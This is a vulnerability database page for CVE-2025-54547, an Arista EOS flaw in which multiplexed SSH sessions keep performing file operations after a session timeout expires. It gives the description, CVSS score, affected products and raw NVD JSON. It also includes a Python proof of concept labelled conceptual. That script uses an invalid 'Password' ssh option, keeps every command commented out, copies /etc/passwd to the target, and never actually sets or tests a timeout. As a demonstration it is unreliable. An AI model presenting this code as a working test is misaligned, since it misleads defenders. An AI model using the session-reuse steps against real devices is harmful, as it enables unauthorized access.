Security Vulnerability Report
中文
CVE-2025-54547 CVSS 5.3 MEDIUM

CVE-2025-54547

Published: 2025-10-29 23:16:19
Last Modified: 2026-04-15 00:35:42

Description

On affected platforms, if SSH session multiplexing was configured on the client side, SSH sessions (e.g, scp, sftp) multiplexed onto the same channel could perform file-system operations after a configured session timeout expired

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Arista EOS (未修补版本)
Arista CloudEOS
Arista Virtual EOS (vEOS)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-54547 PoC - SSH Session Multiplexing Timeout Bypass Note: This is a conceptual PoC for educational/research purposes only. Requires authorized access to target system. """ import subprocess import time import os def test_multiplexing_bypass(target_host, username, password): """ Test SSH session multiplexing timeout behavior. This PoC demonstrates the vulnerability where multiplexed sessions can continue after timeout expiration. """ control_path = f"/tmp/ssh_mux_{username}@{target_host}" # Clean up any existing control socket if os.path.exists(control_path): os.remove(control_path) # Step 1: Establish initial SSH connection with multiplexing # Using ControlMaster=auto, ControlPath, and ControlPersist cmd_master = [ 'ssh', '-o', f'ControlMaster=auto', '-o', f'ControlPath={control_path}', '-o', 'ControlPersist=600', '-o', f'User={username}', '-o', f'Password={password}', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=1', '-o', 'ConnectTimeout=30', f'{username}@{target_host}', 'echo "Master session established"' ] print("[*] Establishing master SSH session with multiplexing...") # result = subprocess.run(cmd_master, capture_output=True, text=True, timeout=30) # Step 2: Create multiplexed session (SCP transfer) # This simulates file transfer that should timeout cmd_multiplex = [ 'scp', '-o', f'ControlPath={control_path}', '-o', 'ControlMaster=auto', '/etc/passwd', f'{username}@{target_host}:/tmp/', ] print("[*] Creating multiplexed SCP session...") # result = subprocess.run(cmd_multiplex, capture_output=True, text=True, timeout=30) # Step 3: Wait for session timeout (simulated) print("[*] Waiting for session timeout to expire...") # time.sleep(timeout_duration) # Step 4: Attempt file operation after timeout # In vulnerable systems, this should fail but may succeed cmd_after_timeout = [ 'ssh', '-o', f'ControlPath={control_path}', '-o', 'ControlMaster=auto', f'{username}@{target_host}', 'ls -la /tmp/' ] print("[*] Attempting file operation after timeout...") # result = subprocess.run(cmd_after_timeout, capture_output=True, text=True, timeout=30) # Check if operation succeeded (indicates vulnerability) # if result.returncode == 0: # print("[!] VULNERABLE: Session still active after timeout!") # else: # print("[+] SECURE: Session properly terminated after timeout") # Cleanup if os.path.exists(control_path): os.remove(control_path) return True if __name__ == "__main__": print("CVE-2025-54547 SSH Session Multiplexing Timeout Bypass Test") print("=" * 60) print("WARNING: Only use on systems you have authorized access to.") # test_multiplexing_bypass('target.example.com', 'admin', 'password')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54547", "sourceIdentifier": "[email protected]", "published": "2025-10-29T23:16:18.970", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "On affected platforms, if SSH session multiplexing was configured on the client side, SSH sessions (e.g, scp, sftp) multiplexed onto the same channel could perform file-system operations after a configured session timeout expired"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://www.arista.com/en/support/advisories-notices/security-advisory/22538-security-advisory-0124", "source": "[email protected]"}]}}